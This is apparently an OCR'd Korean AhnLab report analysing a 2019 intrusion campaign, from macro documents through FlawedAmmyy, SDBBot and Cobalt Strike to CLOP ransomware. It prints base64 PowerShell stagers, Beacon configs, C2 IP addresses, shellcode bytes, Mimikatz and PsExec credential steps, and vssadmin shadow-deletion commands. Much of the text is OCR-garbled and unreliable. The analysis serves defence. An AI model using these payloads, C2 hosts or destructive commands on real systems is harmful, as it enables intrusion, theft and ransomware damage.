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18 Document created using the application not related

16 ) ) v

1 to Microsoft Office. Aol

18 ==

19

2 ) K 48D

2 For viewing/editing, perform the following steps: [
2 0|E B 7|R
2

2 Click Enable editing button from the yellow bar above 0| /2 AHM)
= s M
2 Once you have enabled editing, please click Enable content & FE BNV

f§ button from the yellow bar above

n B AaE22@

[Ag] - 20193 2¢E]

JE.

O TVITCTOS 0T UTTICE.

r viewing/editin

ik Enable editing b
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= T T T sk
; '® Microsoft® .
: m Ofﬁce Al4 - £ || =EXEC(21A30)
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% 2
33 o] A& R2E 0 AL 3 TRUE
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Dim c As New Class! End Sub

c.PowerOn|
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s 0!

D
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Dim htooBJ6 As Object
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Dim htooBJ7 As Ob
On Error Resume Next
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£nd Sub
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Downloaderd 2 CQFSH TOHOZ QIL|QC},

02

[At - 2019 3]
2019 3E0l= M=l stHo| = IEHE SQISt= REIO| FIHE[UCE F WORKGROUPO|
ZXSH=E 7Y AFEAIE CHide 2 I YA =2 REI0] HAEEY
S| 2
o=

=0, Ol= O YgAEt Fiet A2 HOo=L.

BOOL sub_411148()

1
HAMDLE v@; [/ eax
void *vl; ff esi
HAMDLE 23 // edi
DWORD w3; // esi
const CHAR *wd; // e=zi
CHAR Parameters; // [esp+Ch] [ebp-314h]
CHAR pszPath; // [esp+1l18h] [ebp-218h]
CHAR FileName; // [esp+214h] [ebp-18Ch]
DWORD NumberOfBytesRead; // [esp+318h] [ebp-Bh]
LPCSTR 1pFirst; // [esp+31Ch] [ebp-4h]

SHaetSpecialFolderPatha(@, &pszPath, 35, 8);

wsprintfA(&FileName, “Bs\\TMPUSER.DAT", &pszPath);
wsprintfa(&Parameters, "/C net user /domain > \"¥s\"", &FileName);
ShellExecutes(®, @, "cmd", &Parameters, @, @8);

while ( 1 )
1
ve = CreatEFileﬁ(&=iLELaTE, ex3eeenees, lu, @, 3u, Bx30u, @);
5 — fye
= Vi3
if { vi != (HANDLE)-1 && GetFileSize(ve, @) > 1 )
break;
Sleep(@x3E8u);
CloseHandle(vl);

¥

CloseHandle(vl);

w2 = CreateFileA(&FileName, @xSeeeeees, lu, @, 3u, 8x38u, B8);
v3 = GetFilesize(vz, @);

lpFirst = { PCSTR}GthaL—-lch{@x:IBuJ w3);

ReadFile(v2, (LPVOID}lpFirst, w3, &NumberOfBytesRead, @);
CloseHandle(v2};

DeleteFilEA{S:iLELaTE}j

A

vd = IpFirst;
return !StrStra(lpFirst, "WORKGROUP") & !StrstrA(ve, “workgroup™);
h
O3 13- 7| i 34 ZE (WORKGROUP 2t21)
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[At2d] - 20194 9]

SDB(Shim Database)= ¢l 2FH|H| 2HF0|M LAZEQ0{of CHot 519 2%t
82 TEEOT HHLSZ2EAM, Lot HEHC| Compatibility FixE A =+ QUCH o=
20| DLLS S =10 AFE M 1 F2H0j|A SDB mo| FEE Solf £HE0 &St B4l
Ct. SDBBot X0 A= O2{oh Al SHoz XZE OiZ2AH0[d THX| HHLIZ

= AE0oI0] ALY

1
1
Ammyy Download Sdb Malware e i
Backdoor (sdb_msf 32 cryp oo
(wsus.exe) ted.dll)
Xy -
. ) Registry
L Injector e N e
(loader32.exe)
sSE Backdoor) 'ﬁﬁ
AH A
s v oy azs
ohd sps I
(sdbXXXX.tmp) |2
| &4
K| i Backdoor
L-{ Sdbinst.exe Ju----[ Windows Ji
=8 \ Services.exe /

721 14-SDBBot 24 1=

FlawedAmmyy BHE=017} loader32.exe@t sdb_msf_32_crypted.dllS 44dstCt.
loader32.exe?t sdb_msf_32_crypted.dlE 2T ZESHHLE CHE TZM|AQ| QIAIMSHTT
loader32.exe= QAT =l W0 PEE £7 2|X|AEZ|0f £CH
0|2 2t SDB IS A5t sdbinst.exeE 0|23 S2$iCt. sfiE SDB ItAUQ| CHAS
services.exe, H|Z2Z 0| EZMO| g0l ScRegisterTCPEndpoint()O|Ct.
A| AR THEE Al services.exe?t AlE(H, O] of SFot 24 SDB?} HEEICH.
6. &4 ScRegisterTCPEndpoint()& services.exeQ| 7| 2EI0| MMEICH = services.exe
O| mjX| &l WIS services.exe M3 = HiZ AlSHEICEH
7. AAEE QAT E WO PEJF ZOE HX|AEEZE 20 523t £ HZE| HojM A
=g
8. X|ZXo= x{=&! A| OICt services.exe LHE0= W0 bYF =L SESiC
T 4-SDBBot 2% 32

MWD~

o1
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rio
I

o] A AE TrU2 i A|AHIO| Cobalt Strike Beacons X

AMARE #H Hofs| 28 2o HF ool T2 4Q1 Cobalt Strike
)Z 0| 23|QILCt. Cobalt Strikel= MH(Z23XH2 SEI0|AE(ZHLA)Z TAE|

eaconC.2 H|O{EICt Beacon ZAXt WA 2| L6t O0|HMERM Y
HTTP, DNS, SMB Beacon 50|
IS Ol&dk=tl, 2AE HH

rr g of
|-||]II 1N

o m
i)
TR
I
o
Q
[m
fr 1o
o

CC

- o

4= QUCE ZAHX= =H0|| A Cobalt StrikeO|M H|E =
obalt StrikeE At83IUE 7+57d0| =Lt

o

s
A o[>

1o

e
&
n
rir

otMAEE A= Cobalt Strike Beacon2 AX|5H| Qet 7|8t odsts o}
Xt= TinyMet 52 59 Beacon2 AX[SH | ot1, FlawedAmmyy2ft
Sl 2X[e =k UCh BeaconO| EX|E 0|20 AKXz 22| tHS

Cf 22 T4 SO 202 XoiS & 4 ULk

o |jon
ox N
TR
N ol <@
- M J
MU

=
=

>_

o X HI o
ek
ox

— 12 rin i
o
kl
N

ofm my rir =2
oF
g
ol
jo

=S
L
M

[

Ml
o

TRAINING JUrroRT

O 15- 29| HE ofEg0|d 2% Cobalt Strike
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[ ¥
Cobalt Strike View Attacks Reporting Help
O O H=¢ B8 PU e e B g

Cobalt Strike

Beacon 10.10.10.198@8040 X

Desktop 192,168.58.35@1512 X ‘

[+] established Link to parent beacon: 10,10.10.198
[+] host called home, sent: 12 bytes
beacon> ppid 2888

[*] Tasked beacon nf 2888 as parent process
[+] host called home, t: 12 bytes
beacon> ssh 192,168.5 ins jrocks

=] Tasked beacon 192.168.57.18:22 as jqr.
[+] host called h sent: 437307 bytes

[+] host called home, sent: 34 bytes

[+] established link to child session: 192.168.57.1

[DEVELOPERHS] Jamie.Grins/6984

beacon>

Processes 10.10,10.198@6984 X
Beacon 10.10.10.198@6984 X

Beacon 10.10.10,191@4844 X

ins

Li]

72! 16 - Beacon AX|

Of2lf= Q0| mefot S 2Kt Cobalt Strike C&C A{H =FO0|CH.

91.214.124.25
91.214.124.20
91.214.124.13
89.144.25.99
89.144.25.97
89.144.25.96
89.144.25.95
89.144.25.94
89.144.25.92
89.144.25.27
89.144.25.25
89.144.25.23
89.144.25.22

AhnlLab

89.144.25.176
89.144.25174
89.144.25.173
89.144.25.172
89.144.25.171
89.144.25.170
89.144.25.165
45.227.252.54
43.251.158.68
194.99.21.202
194.68.27.18
194.165.16.228
185.17.121.188

last: 2s

20
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89.144.25.21 105.201.1.249
89.144.25.20 105.201.1.186
89.144.25.19

H 5- Cobalt Strike C&C A{H

[Ar2] - 2019'F 5E]

53X FlawedAmmyyE 0|836t0 52 CHat A|ARIC]| DfY2Z|A SEHS| Beacon2 ***IOP%EF
SAXE AMHO| s O AFZE OUZ AMSIES o, 0] 22 =R MHIAR F&
SHRICY

AZ =4 -hxxp://89.144.25.172/a

1 $s=New-0Object I0.MemoryStream({,[Convert]::FromBase645tring( "H4sIAAAAAAAAAL TX+4+1ivhL
+efwryMkkDsYRFIyvim2yyokI4dgvFx5z IpIUGWht0aEQQu/ / ThVB3Z+/Mnrsn]7kkIP20qq7
+6uvnah25e52EyCRaYEHm30BhhAK fKedyt8 1A cxnSks+Z28e+5dLhtPHgQPKEDOPzFYhWCKOI+5t 3MwQh8B] 2dg,/CWy
+0¥gwl TNZ IBaEVh5C7ucndZE0xHWEbvvqAaD1895BxAyui CTHPAnbhDDyA/ JdPn
+40KFPzv11GxIxigC3wghGLMd8 ZWY uDOHOY LWG ImH+-YmS F120crAC+1B11YLpA0E JvpX00wATpDo r6FLPC S/
BMB8935de1qldDHDESWY ) RKBX tDD0cBw3L 1 Iwe txChg8hMwy 1wCbFGFIr5eI0876T0a
+dfc9z0bq3E]149]1FbzGledZgB705pMiI2wTZXFH1098EGs rd+ i HGE+cI
+)Xxwaxz5BHgTzBIbBVo fhHplkwknaAb2E4hwYL 24 IFY F UYWL FK1GpI0mSwiVev+07 LoX4hC7Pvf F+D084
+r3j ApT7 IvuAYRbEBAEEVhIK /RtaSWsunrimpPthh@GEMr 3P FEoNOoEIEF4pN3bSRhD7oV5TKP3/PIyviWTagGRY
+aahB1bronIN50uMz82wEyHr J3WRxzubTiddV] LAFW1Tg18xt0hvSsHnBgY fMKznZ j4I6h0wzQI pXs TS TIMLT IgDVWMCT Tx
FOfg/WehD5riudnRMNGviIekUswf3szDmIbF7 INehRAM/

OPAZWTYBEVEpPT] sHxunrap@l5GYMokjD0mI5)s800EGBoFR] Rj 9B 1S0x IkDXzPOzVY oy QCS Iy N FCFODpZWkSBCMSx1YNLA
Vhom+hiQBOUSkwHWREGaD] 5+pC/KNMZTAxE8h10all9] QkdSLHSSkiadCvANEKRoE JEWwwIkp 11DAUDh+aHy SHE+AY cali/
*u3rQTmfLhSrkBhwnkKYEBHFACoyBOKIzUL7w]nn/

Br2fU9IPfsohvES5zY71s30k6YHIIM30Iv] BHowMupB02J0wE CO0nwWolvTI8h/ 2DHECuSL+FemPNEmSOSU30raF/
03 17- 32 Mol IRj ASYE

Ol ATZEE= Ol T2MA HZ2| FUS sl 2ty HACE ML d3ctEs
SAXE MHO| 45610 Beacon HIO|HZ|E 20t AMalst= 7|52 SIRICL & Beacon 24IAE
= OYU2|A HEHZ SESHH| =Lt HIO|HZ| Lol 3aXet E412 2ot CiSot 22 48 e
b =XWSICE O] AHOIAM 2IQI=l Beacon& HTTP BeaconO|LCt,
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1A FA - hxxp://89.144.25.172/Ny2c

7 Config found: xorkey 1 GxPPA30630 Bx0AR33400

8 BxPA01 payload type Bx0001 BxP0B2 @ windows-beacon_http-reverse_http
9 @xP002 port Bxpp01 BxDPO2 80

18 0003 sleeptime @xpo02 Px0004 60OOO

11 @xPRBL maxgetsize 0x000Z2 0x0004 1048576

12 0005 jitter Bxpp01 Dx0002 0

13 Bx0B06 maxdns BxpRA1 BxPPO2 255

14 00007 publickey MxpR03 Px0100 30819f300dARAY22864886F70d010101A50AA3818d0
15 @xPR08 server,get-uri Bx0003 Ax0100 '80.144.25.172, /dot.gif’

16 @xPRAY useragent 0x0003 Bx0080 'Mozilla/5.@ (compatible; MSIE 9.8; Windows
17 xPBBa post-uri @x0003 Bx0040 ' /submit.php’

18 Bx020b Malleable_C2_Instructions Bx0003 0x0108 " \xDO\x00\x00\x04"

19 Bx@0@c http_get_header Ax0003 Bx0100

20 Cookie

21 Bx000d http_post_header Bx0003 Bx0100

22 &Content-Type: application/octet-stream

23 id

24 Bx001d spawnto_xB6 BxP003 PxB040 ' Ewindir®Z\\syswowbd\\rundl1132.exe’
25 @x@dle spawnto_xhd 0x0003 0x0040 'Fwindir¥\\sysnative'\rundl132,exe’
26 @xPRAT pipename 2x0003 Bx0088 \\\\Es\\pipe\\msagent_%x’'

27 Bx001f Crypto5Scheme Bx0001 Bx0B02 A

28 BxBB13 DNS_Idle BxpRA2 Bx0004 @ 0.0.0.0

29 Bxp014 DNS_Sleep BxpR02 Dx0004 B

38 @xp0la get-verb @xpRa3 PxPO10 "GET'

31 Bxp0lb post-verb Bx0003 BxP010 "POST'

32 @x@01c HttpPostChunk @xpp02 Dx0004 B

33 0025 license-id 00002 0x0004 1

34 Bx0026 b5tageCleanup AxB001 BxpBa2 A

35 BxB023 proxy_type BxPPA1 PxABA2 2 IE settings

18 - 22| FHOM =l=|= LIS

A - 2019 9¥]

SAX= TinyMetZ 085104 524 CHe AJARIO| EXE &3 T HEHS| Beacon2 EXISHILY.
Beacon2 ¢IER AMH|AZ SZSHH Rundli32.exe ZZMAE M3 2 HO|HE QAHMSIH &
ZISIQICE. of2f M2 A Al ZEJH FAFSH IHYO|CY,
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formation);

injection_4@81558(

22 19- Colef QMM B

EXE &3 O} Beacon LHO|E Of2fet &2 AH MEII EXHSICt W . WpipeWstatus_scX} &

Al9| NamedPipe I}O|ZEE Cobalt StrikedijA| 4d5t= C|ZE NamedPipe IiO|ZH A|1f
S o

SUsCt, TOIZE 0|5/0f Beacon AlAHIIZ| S41S & 4 Qrt,

payloadType: Bx00002210

payloadSize: BxPO0OO174

intxorkey: Bx122134b2

1d2: Bxblelelel

Probably found shellcode:

Parameter: 344 "\\\\.\\pipe\\status_300008"

push: 143 40896 'h\xB0\x10%x00"x00"

push: 261 8192 '"h\x00 ‘x@0'\x08'

1@ @pooAPAR: FC EG B9 0O 0P 00 60 89 ES 31 D2 64 8B 52308B ...... ..1.d.RO,
11 ppRPEA1A: 52 AC 8B 52 14 BB 72 28 OF B7 4A 26 31 FF 31 C@ R..R..r{..J&1.1.
12 ARERER2A: AC 3C 61 7C A2 2C 20 C1 CF @D 81 C7 E2 FB 52 57 .<ale; evevees R
13 GAoREB30: BB 52 10 8B 42 3C A1 DO 8B 48 73 85 (0 74 4A 01 .R..B<...@x..t].

07 20- HE22| FHoM Eelzl= WE2

[ Iy N ]

W0 00 =1 O U

P

Create a listener,

Name: [smb ]

Payload: [Beacon SMB .]
Payload Options

Pipename (C2): [score_pd233 l
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[ 1l ZHH Cobalt Strike2 0|8l AD L{O| A|AE Efok

Attacker
c&cC

Domain Controller

111111
S

a2 22-[11 B o RxE

AD =02l 7 HH 2ol

TR AE T Ch AL 2R0] SI9IM ST AIARO| JHUE AD Zo9l 7Y Hu
g =ory SfLte| AlATO| OfLl =OiRIoZ IHE Cisho| AJASO|CY, 2}

o

Bl = 1=
M =0l HEQD, Tt HEet AD 14 HEE 20lsto] L SHikLateral Movement) ZH|
£ ottt & =2Rlojls L2 2= HMESR} Feb & Z23H0[ AREEl 20| =olx(}ict 54

o arp
HER3Z J&E o ping
nslookup
ol M- o find
AdFind
AD HE
h PingCastle

E 6- BAT NS AMCet Wy &
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PingCastle2 AD HOt HHE

AdFind= AD 72| S2 A% A| szt AIAH0| JIUE AD Eool HES LM 2
N . =
AJABE 2ot MEf HEE HOELL & £ 25 28folo & chewe & rt

C:#WKings>AdFind.exe Ob dc=afirst,dc=com -s subtree -f "(&(objectcategory=person)
{objectclass=user))” dn description

AdFind UB1.51.00cpp Joe Richards (support@joeware.net) October 2017
Using server: DCO1.afirst.com:389

Directory: Windows Server 2016
Base DN: DC=afirst,DC=com

dn:CN:=Administrator,CN=Users,DC=afirst,DCz=com
>description: ZIFE] THCI= =

dn:CN= Guest CN= Lsers ,DC=afirst,DC=com
AP e el
dn:CN=DefaultAcqgount ,CN=Users, DC=afirst,DC=
sdescrintian: o AMAELM L DDA AR T _HEOoL L
iC:¥Kings>AdFind.exe Ob dc=afirst,dc=com -s subtree -f "(&(objectcategory=compute
dn:CNir) (objectclass=computer))” dn description

dn:CNjadFind U01.51.00cpp Joe Richards (support@joeware.net) October 2017
>desc

Using server: DCO1.afirst.com:389
dn:CN Directory: Windows Server 2016
NBase DN: DC=afirst ,DC=com

n_CN:dn:CN=DCO1,OU=Domain Controllers,DC=afirst,DC=com
.cNidn:CN=PCO2 JCN=Computers,DC=afirst, DC=com
.cNidn:CN=DOCS ,CN=Computers,DC=afirst,DC=com

dn:CN=PCO1 ,CN=Computers ,DC=afirst,DC=com

O 23-ADEE 52 A8l AdFind ALE

NG

W C:#Windowst¥system32#cmd.exe - PingCastle.exe

This report has been generated with the Basic Edition of PingCastle
Being part of a commercial package is forbidden (selling the information contained in the report).
If you are an auditor, you MUST purchase an Auditor license ta share the development effort

It is the maximum score of the 4 indicators and one score cannot be higher than 100. The lower the
better
o 0

Stale Object : 40 /100 4 rules Trusts : 0 /100

Privileged Accounts : 40 /100 3 rules Anomalies : 100 /100 9 rules

matched matched

tis about administrators of the Active i is about specific security contrel points

W D

2210I0f|M CH2RE JHs$t PingCastle

|

o

N

~
|

AhnlLab

25



CLOP HEHIo 54 21X

[Ar2| -2019F 9¢]

s A|AEIY 7|22 A mlo| Al
AXSHE  BAT IO
nslookup.exe It ol
2 ping HUES oot 7|EE 20

3626536960
3626537088
3626537216
3626537344
3626537472
3626537600
3626537728
3626537856
3626537384
3626538112
3626538240
3626538368
3626538496
3626538624
3626538752
3626538880

3626539008
ETATLETTET

AhnlLab

Search |me. | Help |

|0}

[}

SH
o
of st
A
e
Ct

N

arp.exe, adfind.exe,

T "C#Userswcrav3r¥AppDataLocal#Temp#RecentFileCache 34328

SHOICH wsus.exe IFAUHEO| TinyMet DR

=

ping.exe, find.exe,

QICt S2X} Cobalt Strike C&C M FAS 2XX|

File to scan IC:\Users\cravBr\AppD ata\Local\Tempi\RecentFileCache 34328

IV Advanced view Time taken: 0.312 secs  Text size
File pos l Mem pos l 1D | Text

U 00000004F3D2 000OOODD4F3D2 O c:\windows\system32\macromed\flash\flashutilc4_32_0 0_207 aclivex exe

LU 00000004FA62 _ 00000004F462_ n___q.\ulnm\wmmwwuwwmm 32_0_0_207_activex.exe

U 00000004F4F2  OODD0OD4F4F2 c:hintel\wsus.exe 1

U 00000004F514  000D0004FS1A Cl c:\windows\syswowB4\log2028. bat 1

U 000O0O04FSSE  OOODOOOD4FSSE O c:\intel\log2028.bat :

U 00000004FS8C  0000ODO4FSSC O c:\windows\syswowB4\arp.exe i

U D00DDOD4FSCE  000DODD4FSCE O chintel\adfind.exe 1

4 00000004F5F4  00OD0DDD4FSF4 0 c:\windows\syswowB4\ping exe 1

U 0000DOD4FE32  000DODD4FE32 O c:\windows\syswowb4\find.exe I

U 000DD004FE70  0000D0D04FE70 0 c:\windows\system32\nslookup. exe H

{7 TOUO00004FeE6 DD00U0UaFeEE 0 ?:'Tw'nﬁ?oﬁs?s&lwae?strlﬁtmv%fmﬁa\mstaﬂ\as delta_patch_1.295.409.0.exe
U 00D00004F754  00000DD4F754, 0 c:\amis\kesco\kesco.exe

U 00000004F78E  0OOODDO4F7SE 0 c:\windows\softwaredistribution\download\install\as_delta_patch_1.295.609.0.exe

25- mfsh A|ARo V15 A

21.1880A \0 Ping pila:

AC = @, A3k = 3 (100X

pItCaR  ~AEE:

Aak)

pS|
~

rlo

—

t

(Gep: QA" = 3,

+|Ping 89 .

144,

25 .

171] 32 Xtc.0

p[Ping 89.1a4a.25.

0 -1 08 -t

B A1 OA -t¢ 11X, EApREER.

I, "EApAkede,

172] 32 Xtc.b pitceR -hes:

Iar, “EApkk2de,

{0 ME-1 UA -t

| 89 .14

4 .

25.172/ph NG Ping

g 26-

(0-0:  GNA® =

_1_71 II- C&C

4

e = e, Adh = 4

F42 Ping Al 28

g1 UA =t¢ I

1Y, CEApAEE2,

[T e

(1ea0%

Adhy ,

26
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82 32 EH” AAHO| A% P3H2 PHRIXt AT £ SYSTEM Hgto2 4
a1 E

H o
EWI | Mlmlkatz DES AshA|

S SYSTEM ﬁo_r_ :
SYSTEM #eto] QU0{0f2h H&0[ Jts

HU
>
0%
I';E
of
o Mo
Yl
o[>
>
N
4
;O
4
=)
4 rr
n
o 4

_0,_|'
Il

elevate)

Elevate - | 4

Attempt to execute a listener in an elevated context.

Listener: |beacun - http - ] | Add |

Exploit: |ms14-058 v |

| Launch || Help |

27 - Cobalt StrikeO|M XM|BZste YAS 29!

Mimikatze AFEXF AFZ F2|HE(@HARIE)

2 IS0z S0[X[2 AKXt A AU

SHO| ME SAM IMYO|L} Isass.exe ZEMAE FHISI 2Z 22| XHAIH

2R Aol F2|HIM ElE 8 A|ESICE 223Xt= Cobalt StrikeOf|A X|Zdt= Mlmlkatz 2
ArEOFAHLE Bt Aol I HEHCS| MimikatzE 08617 | SiRILCt
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<atz # sekurlsa::minidc
Switch to MINIDUMP : "lsass. dmp

rlsa::logonPasswords
dmp™ Tile tor minidump...

User Name © nUNo
llumnlnx : WIN-4FBOED ’F I ._'I F'

§-1-5-21- l'JnU._"El“? 1172391714-1289614642-1000

] Pr imary
* : L U
« Domain
LM
« NTLM

2ot A F2|HES 0|80 SHXt= LHE TIE AT LEEOE ADMING 52 &7
Z0Es HEXF AFEL R FH20| 2tssh| WE0 SHAts HeE|Xr Mots B2 ottt Tef 34
APt 22 HE|XF AE F2[HLS 2SIMCHH, THE A|ARI0| S 22Xt HHOE FES A
510 SMB Beacong AX[g & QUCL 0] 22 Cobalt Striked|M X|36H= PsExecE 0|2¢%t
Ct. oM &%t AD g EEE 0|83 34Xtz MER £

= = A2 Beacon AFAES 2X[Sk
T Al SHX= AD QL EEfX Agel Fe|HAS S WK YR ES HItITt

PsExec (PowerShell)

user = password realm note

Administrator 8846f7eaeesfbl17... GRANITE -
Administrator 4d714387627d0ob7... ws2

Guest 31d6cfe0d16ae93... WS2

Guest 31d6cfe0d16ae93... GRANITE

lab 8846f7eaeesfbll7... GRANITE

user 8846f7eaecesfbl117... GRANITE -
User: \Administrator |

Password: |4d714387627d0ob7badfbs27d98fasfol |

Domain: | Ws2 |
Listener; |local - beacon smb - || Add
Session: |whatta.hogg * via 172.16.20.193@3568 |

] Use session's current access token

a2 29- 3o 32|HEE PsExec &
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[Arg - 2019 9]

oS AAROAM 2fRlEl Beacon YR EO|L). EXE Al DY HEHQ} Tl ATEHE HEWOt 2
QIZ|Ct A3 MU 7 E02U ADMING FZ0M 2RIZIRICE S5HC=Z AR MH[AZR

= oTT
SEE0] 2D, 0|7 =R MH|AE AH|E|UCE

1

. @3 System.evtx x

M 4« » M L6426 V1M1 NT $i
Type |Date [Time |Event |Source |Category  |User |Computer
( () Information 2019-06-19 2% 4:46:20 7045 Service Control Manager None #S-1-5-21-220523388 ad01 f=s=.com

Description

AZE00 A 27 gXEHASUD,

A8 2 0 §: bba669b

Me & oty o 8: WW127.0.0.1%ADMINS#W154aclie.exe
MHE A2 F: AEX 2C AHH 2

Mawa vz ea: 0 4 Az
,

A H 2 A% : LocalSystem

a2l 30-EXE A8 m! Beacon

=3 System.evtx x

M4 > W ei426 Y81 Wt 4

Type [Dar.e [Tme |Event |5ource |Categor\,r ‘User |Compur.er |
(i) Information 2019-06-19 2% 7:49:09 7045 Service Control Manager None #S-1-5-21-220523388 ad01 ssan com

(1) Information 2019-06-19 2Z 7:48:05 7045 Service Control Manager None #/5-1-5-21-220523388 ad01 = com

(1 Information 2019-06-19 2% 4:45:53 7045 Service Control Manager None #5-1-5-21-220523388 ad01 =s== com

(1) Information 2019-06-19 =X 4:42:18 7045 Service Control Manager None #S-1-5-21-220523388 ad01 === com

(1) Information 2019-06-19 2% 4:24:18 7045 Service Control Manager None 1#5-1-5-21-220523388 ad01l =&« com

(1) Information 2019-06-19 2= 4:14:28 7045 Service Control Manager None #/5-1-5-21-220523388 ad01 ssan. com

(1 Information 2019-06-19 2% 3:15:02 7045 Service Control Manager None #5-1-5-21-220523388 ad01 e com
Description 4

AlEE0 My 27 EXREASULT,

Ml 2 0 8: 33c8f7e

ME 2 By 0 8: %COMSPEC% /b /c start /b fmin powershell.exe -nop -w hidden -encodedcommand
JABzADOATgBIAHCALQBPAGIAagBIAGMAJAAGAEKATWAUAEOAZ QBEAGBACOBSAFMAJABYAGUAYQBLACgALABDAEMAbwBUAHYAZQByYAHQ
AXQAG6ADOARgBYAGBABQBCAGEACWBIADYANABTAHQACGBpAGAAZWAOACIASAADAHMASQBBAEEAQQBBAEEAQQBBAEEAQQBMADEAW
ABIAFcALWBpAHUAaABIACS8AdQAzZAHKASWAZAESAbwBTAGSARgBKAEKAMgBCAGOACAAWAGoAaQBFAFEASQBDAHCASgBhAHKAOQBWAF
CAVQBTAGsAeABpAFMAbQBNAFoAbQB2AFQAUABMACSAVABrAEIAWgBqAHAAdgBPAHY AZgBOADEAWGBWAGUACABFAGOAZQBGAHUAY
gBmAFCAWAB4AHMASQBQAFoAbwBzAEIAQgBIAFQAQWBIADIARQBoADQAbgBLAESAUWBZAEIARQBIACsAawBIAGOAWABDPAEOAYQBFAE
oAKwBGAHoATQByAEgAYQBCAFIAYQBMAGWACQBQAEIACQADAFAAWQA2AHOAWQBrADEAaQB1ADAANWBSAEIAUgBLAHY AeQBWAHUA
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CLOP 2

of 22 E1A
[l ABH] AD LHQ| A|AEIS CHAIOZ CLOP 2HAIQ0] 24 AT

First Target

Attacker

@3
» Mimikatz

QI HEEH 5+ EC0| CLOP #HHYH & AdIE =4

Z22| %SystemRoot%WSYSVOL HAZ2= & X JHM[LE NETLOGON AIZED}
= SOolct. =OQlof JtgEl 2= AARE SMBE &3l SYSVOL =20 Ase=2
Y ChR2Eoitt 4-743%" o] = OI%*W UPIEE 2t AAHO| XtS2=Z HiE
SIQULCE XL CLOP MY E AMSt= BAT AIZE OAUZ 2t =OjQl HEEZQ
NETLOGON ZH=Z0| 22|H &X| BAT AFZE OIUE %SystemRoot%WSYSVOLWsysvolw<
CHQIDNSO|E>Wscripts AZ0| ZX{sICt SU AZ = A HZ0|= CLOP 2HMYo] mY

= =HFUCL

|m

[At3 - 20193 7¥]
WSYSVOLWdomainWscriptsWpsh.bat - CLOP ZHdQ|0] 38 AFZIE oY
WSYSVOLWdomain¥scriptssvssecsvc.exe - CLOP ZHMSO]
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[At3 - 2019 6¥]
WSYSVOLWdomainWdllrunner.exe
WSYSVOLWdomainWscriptsWdllrunner.exe
WSYSVOLWdomainWscriptsloader_322.exe
WSYSVOLWdomain¥3.exe

OP 2424019t 0| Aot A3
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A2l - 20194 78]
AR} Y ANES 0180h CLOP HAOIS Mt 7| 20| ZolE|2ict

Type |Date Time Event |Source | Category User |Computer

‘(D Information 2019-06-29 23 12:07:3 200 | Microsoft-Windows-15%0| AIZE{SLICH WSYSTEM .org
() Information 2019-06-28 273 8:17:00 200 Microsoft-Windows-15%0| A= A& LICH WSYSTEM .org
Description
Ty 2HE Y "Winstall" & 2 2 "{c6d1ec80-c83b-4111-8e68-35d1101965df}" & = & = of A "HH HNETLOGONYpsh.bat" & &t & AR Ha UL,
= - H = =
3 33- &Y A3HE 55 0lF
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CLOP zHiqdgjjo] &Ad

TR AD ZOIQIO) AT ALY HY AFHF Tt ¥ YBS 018 CLOP R0IS
BiZ 9! AIRAIZICE CLOP SHM9ofs UHHHQl mENAJ} Ofcl AH|AZ S2E|0] AbjA Z2
NAZAM SEBI0, SOl HRIolet SABP HY Z2AA B2, MES JH AN, Y}
43 U ReadMe T 4A0J2t= S5 552 2=r)

while ( 1 )

1
fn_termProc{L"msftesgl.exe™);
fn_termProc(L"sgqlagent.exe™);
fn_termProc(L"sqlbrowser.exe™);
fn_termProc(L"sglservr.exe™);
fn_termProc({L"sgqlwriter.exe");
fn_termProc(L"oracle.exe™};
fn_termProc({L"ocssd.exe™);
fn_termProc(L"dbsnmp.exe™);
fn_termProc(L"synctime.exe™);
fn_termProc(L"mydesktopgos.exe™);
fn_termProc(L"agntsvec.exeisqlplussve.exe™);
fn_termProc{L"xfssvccon.exe™);
fn_termProc(L"mydesktopservice.exe");
fn_termProc(L"ocautoupds.exe™);
fn_termProc(L"agntsvc.exeagntsvc.exe");
fn_termProc(L"agntsvc.exeencsvc.exe");
fn_termProc{L"firefoxconfig.exe™);
fn_termProc(L"tbirdconfig.exe™);
fn_termProc(L"ocomm.exe™);
fn_termProc({L"mysqld.exe™};
fn_termProc{L"mysqld-nt.exe");
fn_termProc(L"mysqld-opt.exe™);

07 34- Y4 TEAA BB 2|AE

=5 MEL 7t M= System32 BZ0f| “resort0-0-0-1-1-0.bat” 2t &2 of HHO| EL3t
.i
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=
£ BAT IS AASH 3 ASA7|S WAlO = Auidict
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EFecho off

vzzadmin Delete Shadows fall Sguiet
vzzadmin resize shadowstorage /for=c: fon=c:
vzzadmin resize shadowstorage /for=c: fon=c:
vezadmin resize shadowstorage /for=d: fon=d:
vezadmin resize shadowstorage /for=d: fon=d:
vezadmin resize shadowstorage /ffor=e: fon=e:
vezadmin resize shadowstorage /ffor=e: fon=e:
vezadmin resize shadowstorage /for=f: fon=f:
vezadmin resize shadowstorage /for=f: fon=f:
vezadmin resize shadowstorage /for=g: Sfon=g:
vezadmin resize shadowstorage /for=g: Sfon=g:
vezadmin resize shadowstorage /for=h: fon=h:
vezadmin resize shadowstorage /for=h: fon=h:
vzzadmin Delete Shadows fall Sguiet

fmaxsize=401MB
fmaxsize=unbounded
fmaxsize=401MB
fmaxsize=unbounded
fmaxsize=401MB
fmaxsize=unbounded
fmaxsize=401MB
fmaxsize=unbounded
fmaxsize=401MB
fmaxsize=unbounded
fmaxsize=401MB
fmaxsize=unbounded

8 35- 2F MES 21 A

1

-

o

CLOPE MY U=l A0 RC4QH Z2 CHEZ| YIE2|ES O|85HH, I A2ol0] AFEE

7| Xtdl= Hio|HZ[of SIEZRYE RSA 37H2|E 0|83 Y=elot = mo| Fo| HE0|=

0| AFREIRIC
00013560 00 00 2D 2D 2D 42 Ee®uisinae ———=BE
00013570 [EIECEER 55 42 43 20 59 2D N PUBLIC KEY--
00013580 EhelESviely 49 47 41 30 53 71 5 - MIGEMAOGCSQG
00013590 [ENFEEE 51 45 51 55 34 47 S| [Tb3DQEBAQUAR4GN
00013540 [EEECEEEE 51 4B 51 43 69 6A 3 PCBiQKBgQCLGiju
00013580 [EREPECEREIETEETe 48 36 74 61 EF| hlUi9LSTHETWraUs3
WGBS 36 45 20 6C 28 6C &D 30 53 74 43NN ERES Rt
GLIPELH 75 34 6F 54 S1 56 74 4D WSO |54 oTQVLYtMERZOP
000135E0 EENEEESEEI -] 47 31 4C 6E 4A 58 7o ENETeI SRR R to s
WIS MMG7 57 48 33 43 73 6C 59 4C 45 4 42 47 EEEISEEENeRR !
00013600 EERCISECPEESEE-Ts: 48 77 47 4F 2F 4B 43[Rttt e o
